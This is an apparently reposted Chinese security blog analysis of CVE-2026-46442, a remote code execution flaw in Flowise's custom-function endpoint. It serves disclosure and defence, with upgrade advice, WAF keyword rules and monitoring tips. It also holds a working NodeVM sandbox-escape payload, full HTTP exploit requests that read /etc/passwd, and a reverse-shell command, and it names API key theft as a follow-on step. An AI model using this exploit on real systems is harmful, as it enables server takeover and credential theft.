文章总结: 本文深度分析了Flowise中CVE-2026-46442远程代码执行漏洞。该漏洞因NodeVM沙箱原型链逃逸、路由级权限校验缺失及默认不安全配置三重因素叠加导致,CVSS评分9.4。攻击者仅凭注册账户即可通过Error对象获取外部Function构造函数,进而调用child_process执行任意命令,造成服务器沦陷、LLMAPIKey窃取及供应链投毒。建议用户立即升级至3.1.2以上版本,配置E2B_APIKEY切换云端沙箱,关闭自注册,并辅以WAF规则与网络隔离进行纵深防御。 综合评分: 92 文章分类: 漏洞分析,AI安全,WEB安全,漏洞预警,漏洞POC
CVE-2026-46442:Flowise /node-custom-function 远程代码执行漏洞深度分析
原创
Ga0Y1u Ga0Y1u
Ga0Sec碎碎念
2026年7月14日 11:17 浙江
在小说阅读器读本章
去阅读
一、产品介绍
Flowise 是一款由 FlowiseAI 开发的开源拖拽式大语言模型(LLM)工作流构建工具。它提供了一个直观的可视化界面,允许用户通过拖拽节点的方式快速构建、编排和部署基于 LLM 的 AI 应用。Flowise 支持连接 OpenAI、Anthropic、Google、Azure 等主流 LLM 提供商,以及 Pinecone、Weaviate、Qdrant 等向量数据库,并内置了对话链、RAG(检索增强生成)、Agent 工具调用、If-Else 逻辑分支、自定义 JavaScript 函数执行等强大功能模块。该项目在 GitHub 上拥有超过 40,000 Star,被大量企业和开发者用于快速搭建智能客服、知识库问答、数据分析助手等 AI 应用。
Flowise 的后端基于 Node.js/Express 架构,前端使用 React。其核心特色之一是 “Custom Function” 节点——允许用户在聊天流中嵌入自定义 JavaScript 代码,以实现灵活的数据转换、API 调用和业务逻辑处理。然而,正是这个 Custom Function 节点的底层执行机制——NodeVM 沙箱——存在严重的安全缺陷,导致了本次远程代码执行漏洞。
二、漏洞概述
CVE-2026-46442 是 Flowise 中 POST /api/v1/node-custom-function 端点的认证后远程代码执行漏洞。该端点在路由层面缺少权限校验,任何已认证用户或持有有效 API Key 的攻击者均可向其提交任意 JavaScript 代码。当 E2B_APIKEY 环境变量未配置时(默认部署情况),Flowise 使用 NodeVM 沙箱执行用户提交的 JavaScript。然而,NodeVM 沙箱可通过 Error 原型链被逃逸——攻击者通过构造特定的 Error 对象,在 catch 块中获取到沙箱外部的真实 Function 构造函数,进而访问宿主 process 对象和 child_process 模块,最终执行任意系统命令。该漏洞 CVSS 评分为 9.4(CRITICAL),在 NASL 检测脚本中被评为严重级别(severity=5)。
漏洞影响版本为 Flowise ≤ 3.1.1,官方在 3.1.2 版本中修复了此漏洞。值得注意的是,该漏洞虽然是 “认证后” 漏洞,但 Flowise 支持自注册功能——任何人都可以免费注册账户,且注册后的任意用户均拥有执行 Custom Function 的权限,这使得该漏洞的实际利用门槛极低。
三、漏洞成因
3.1 NodeVM 沙箱绕过:Error 原型链逃逸
Flowise 在执行 Custom Function 节点时,会将用户提供的 JavaScript 代码放入 NodeVM 沙箱中运行。NodeVM 是一个基于 Node.js vm 模块的沙箱实现,旨在隔离用户代码与宿主环境。然而,该沙箱存在一个经典的原型链逃逸漏洞:
当沙箱中的代码抛出一个由用户构造的特殊 Error 对象时,catch 块捕获到的错误对象 e 来自沙箱外部——它是一个真实的、未被沙箱包装的 Error 实例。通过访问 e.constructor.constructor,攻击者可以获取到沙箱外部的 Function 构造函数,从而突破沙箱限制,访问宿主环境的全局对象。
具体的逃逸 Payload 如下:
async function f() { const error = new Error(); error.name = Object.create(null); // 绕过 name 属性检查 return error.stack;}return await f().catch(e => { const F = e.constructor.constructor; // 获取外部 Function 构造函数 const cp = F('return process.getBuiltinModule("child_process")')(); // 获取 child_process return cp.execSync('id').toString().trim(); // 执行命令});
整个逃逸链可以总结为以下几步:
■ 构造一个 name 属性为 null-prototype 的 Error 对象,绕过沙箱对 name 属性的安全校验
■ 触发 error.stack 访问,使沙箱内部抛出异常,在 catch 块中捕获到外部真实 Error 实例
■ 通过 e.constructor.constructor 拿到沙箱外部的 Function 构造函数
■ 利用 Function 构造器传入字符串代码,获取宿主 process 对象
■ 通过 process.getBuiltinModule(“child_process”) 加载 child_process 模块
■ 调用 execSync() 执行任意系统命令
3.2 路由级权限校验缺失
Flowise 的 Custom Function 端点 /api/v1/node-custom-function 在路由定义中未添加权限校验中间件。与 Flowise 其他需要特定角色或权限的 API 不同(如工作流管理、组织管理等端点),该端点仅依赖 x-request-from: internal 请求头作为标识,但这只是一个简单的标记头——任何有效登录用户都可以设置该头并访问端点。这意味着,只要攻击者持有任意一个有效的认证 Cookie 或 API Key,就能无限制地使用该端点执行代码。
3.3 默认配置不安全
Flowise 支持两种沙箱模式:E2B 云端沙箱和 NodeVM 本地沙箱。当 E2B_APIKEY 环境变量未配置时(绝大多数 Docker 自托管部署的默认状态),系统自动回退到 NodeVM 模式。NodeVM 本身是一个已知存在逃逸风险的旧沙箱方案,其作者甚至在 GitHub 上明确建议不要将其用于安全隔离场景。Flowise 在 3.1.2 版本中将默认沙箱切换为 E2B,并移除了 NodeVM 作为备选方案的逻辑。
3.4 漏洞根因总结
该漏洞的根本原因可以归结为三点:(1) NodeVM 沙箱存在原型链逃逸缺陷,不能作为安全隔离边界使用;(2) /api/v1/node-custom-function 端点缺乏路由级权限校验,任意注册用户均可访问;(3) E2B_APIKEY 默认未配置,大量自托管实例自动降级到不安全的 NodeVM 执行模式。这三个因素的叠加,使得该漏洞成为一个利用门槛极低的 “有账号即 RCE” 漏洞,具备极高的实际危害。
四、漏洞复现
4.1 环境准备
目标环境:Flowise 3.1.1(Docker 镜像 flowiseai/flowise:3.1.1),使用 Docker Compose 部署,API 端口映射为 3000。该版本处于 CVE-2026-46442 受影响范围(≤ 3.1.1)内,未配置 E2B_APIKEY,使用 NodeVM 沙箱执行 Custom Function 代码。
4.2 攻击步骤
Step 1:登录获取认证 Cookie
向 /api/v1/auth/login 发送 POST 请求,提交测试账号凭据。服务器返回三个 Set-Cookie 头——token(JWT)、refreshToken、connect.sid——后续请求需一并携带。
POST /api/v1/auth/login HTTP/1.1Host: xx.xx.xx.xxContent-Type: application/json {"email":"[email protected]","password":"Admin123."} HTTP/1.1 200 OKSet-Cookie: token=eyJhbGciOiJIUzI1NiIs...; Path=/; HttpOnly; SameSite=LaxSet-Cookie: refreshToken=eyJhbGciOiJIUzI1NiIs...; Path=/; HttpOnly; SameSite=LaxSet-Cookie: connect.sid=s%3A...; Path=/; HttpOnly; SameSite=LaxContent-Type: application/json; charset=utf-8 {"id":"c4633440-...","email":"[email protected]","name":"admin",...}
Step 2:发送 NodeVM 沙箱逃逸 RCE Payload
向 /api/v1/node-custom-function 发送 POST 请求,携带完整的三个 Cookie 和 x-request-from: internal 请求头。javascriptFunction 字段中的 JS 代码通过 Error 原型链逃逸 NodeVM 沙箱,获取宿主 process 对象,通过 child_process.execSync() 执行 cat /etc/passwd 命令。
POST /api/v1/node-custom-function HTTP/1.1Host: xx.xx.xx.xxContent-Type: application/jsonCookie: token=;refreshToken=;connect.sid=x-request-from: internal {"javascriptFunction":"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"child_process\")')();return cp.execSync('cat /etc/passwd').toString().trim();});"} HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8 "root:x:0:0:root:/root:/bin/shbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologin...nobody:x:65534:65534:nobody:/:/sbin/nologinnode:x:1000:1000::/home/node:/bin/sh"
响应体中包含 “root:x:0:0:” 即为漏洞验证成功的标志。NASL 脚本中的判断条件为:响应状态码 200 且响应体包含 “root:”。攻击者此时已获得服务器的完整命令执行能力。
4.3 利用扩展
在基本 RCE 验证(cat /etc/passwd)的基础上,攻击者可以进一步利用该漏洞实现更高级的攻击:
■ 反弹 Shell:将 execSync 中的命令替换为 bash -c “bash -i >& /dev/tcp//0>&1″,获取交互式反向 Shell。
■ 凭据窃取:读取 Flowise 的 .env 文件、数据库文件(SQLite)以及已配置的 LLM API Key、数据库密码、向量数据库凭证等——这些凭据在 Flowise 工作流的 flowData 中通常以明文形式存储。
■ 供应链攻击:篡改 Flowise 已部署的工作流定义,将恶意代码注入到下游的 AI 应用调用链中。
五、漏洞影响
5.1 影响范围
根据网络空间搜索引擎的数据,全球有大量暴露在公网的 Flowise 实例。由于 Flowise 被广泛用于构建 LLM 工作流、智能客服、RAG 知识库问答等 AI 应用场景,受影响组织涵盖 AI 初创企业、互联网公司、金融科技、教育机构等多个行业。特别是 Flowise 的 Docker 一键部署门槛极低,大量用户直接使用默认配置运行——未配置 E2B_APIKEY、自注册开放,使得大量实例处于可被攻击的状态。
5.2 攻击者可以做什么
成功利用该漏洞后,攻击者可以获得以下能力:
■ 完全服务器控制:以 Flowise 进程用户(Docker 默认 node 用户,但可通过进一步提权获取 root)身份执行任意系统命令。
■ LLM API Key 窃取:从工作流定义和 Flowise 数据库(SQLite)中提取已配置的 OpenAI、Anthropic、Google 等 LLM 提供商的 API Key,造成直接经济损失和 API 滥用。
■ 向量数据库投毒:访问 Pinecone、Weaviate、Qdrant 等向量数据库,注入恶意数据或窃取已索引的知识库内容。
■ 数据窃取:读取 Flowise 日志文件和上传的文档,窃取企业内部知识库和敏感业务数据。
5.3 危害评估
该漏洞 CVSS 评分为 9.4(CRITICAL),攻击向量为 AV:N(网络可达)、攻击复杂度为 AC:L(低)、所需权限为 PR:L(低——仅需注册任意账号)、无需用户交互(UI:N),对机密性、完整性、可用性均为高影响(C:H/I:H/A:H)。考虑到 Flowise 作为 LLM 工作流编排中心的特殊地位,以及其通常持有大量高价值凭据(LLM API Key、数据库密码、云服务密钥),一次成功的攻击不仅意味着单台服务器的沦陷,更可能引发 API Key 盗用、下游 AI 服务滥用、供应链污染等连锁安全事件。
六、修复建议
6.1 立即升级
请关注厂商官方 GitHub 仓库获取更新版本:https://github.com/FlowiseAI/Flowise
建议升级至 Flowise >= 3.1.2。该版本修复了以下问题:(1) 为 /api/v1/node-custom-function 端点添加了路由级权限校验;(2) 将默认沙箱切换为 E2B 云端执行环境,并移除了 NodeVM 沙箱作为备选方案的逻辑;(3) 当 E2B_APIKEY 未配置时,不再回退到 NodeVM 执行模式,而是直接返回错误。
6.2 临时缓解措施
如果暂时无法升级,建议采取以下临时措施:
■ 配置 E2B_APIKEY:注册 E2B (https://e2b.dev) 获取 API Key,配置该环境变量使 Flowise 使用云端沙箱替代 NodeVM。这是最有效的临时缓解措施。
■ 关闭自注册:在 Flowise 前端界面中禁用用户自注册功能,限制只有管理员可以创建新账号,从源头上提高攻击门槛。
■ 网络层隔离:将 Flowise 实例限制在内网或 VPN 后访问,避免将 3000 端口直接暴露于公网。
■ 最小权限运行:以非 root 用户运行容器,启用 Docker 安全选项(–security-opt=no-new-privileges、–read-only),限制容器 capabilities。
■ WAF 规则部署:在 WAF 中添加规则,拦截 /api/v1/node-custom-function 路径的 POST 请求中携带的 getBuiltinModule、child_process、execSync、constructor.constructor 等沙箱逃逸特征关键字。
■ 进程行为监控:监控 Flowise 容器内 Node.js 进程是否产生意外的子进程(如 sh、bash、curl、wget),设置异常进程创建的告警阈值。
■ API 审计日志:对 /api/v1/node-custom-function 端点开启全量请求日志,记录调用来源、提交的代码内容(虽然攻击者可能加密或混淆),并设置异常调用频率告警。
七、总结
CVE-2026-46442 是一个典型的 “沙箱隔离不足 + 权限校验缺失 + 默认不安全配置” 三重因素叠加导致的远程代码执行漏洞。它提醒我们在构建支持用户自定义代码执行的 AI 工作流平台时必须坚守以下安全原则:
■ NodeVM、vm2 等 Node.js 沙箱方案均存在已知逃逸历史。执行不可信代码应采用进程级隔离(如 Docker 容器、Firecracker microVM)或云端沙箱(如 E2B),绝不依赖同进程内的 JavaScript 沙箱。
■ 对高风险端点(如代码执行类 API)必须实施严格的权限校验,包括角色检查、资源归属验证和速率限制。仅靠一个可轻易伪造的标识头(x-request-from: internal)等同于无权限控制。
■ 面向自托管场景的开源软件应将安全配置作为默认选项。”默认启用 E2B” 才是安全默认值,而 “默认使用 NodeVM” 是将安全风险转嫁给用户。
■ 不依赖单一安全机制。沙箱隔离、认证鉴权、网络隔离、最小权限运行、WAF 规则和行为监控共同构成了防御代码执行类漏洞的多层体系。在 Flowise 这个案例中,任何一层防御缺失都可能被利用。
对于 Flowise 的用户而言,本次漏洞是一个重要的安全提醒:AI 工作流编排平台承载着大量高价值的 LLM API Key 和内部知识库数据,其安全水位直接决定了所有连接 AI 服务的风险敞口。我们建议所有 Flowise 用户立即检查版本、升级至 3.1.2+,并优先配置 E2B_APIKEY 启用云端沙箱执行。
本文仅用于安全研究和防御目的,请勿将文中技术用于非法用途。
参考资料
- GitHub Security Advisory — GHSA-9rvc-vf7m-pgm2 (CVE-2026-46442)
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2
- Flowise 官方 GitHub 仓库
https://github.com/FlowiseAI/Flowise
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ga0Sec碎碎念 Ga0Y1u Ga0Y1u《CVE-2026-46442:Flowise /node-custom-function 远程代码执行漏洞深度分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论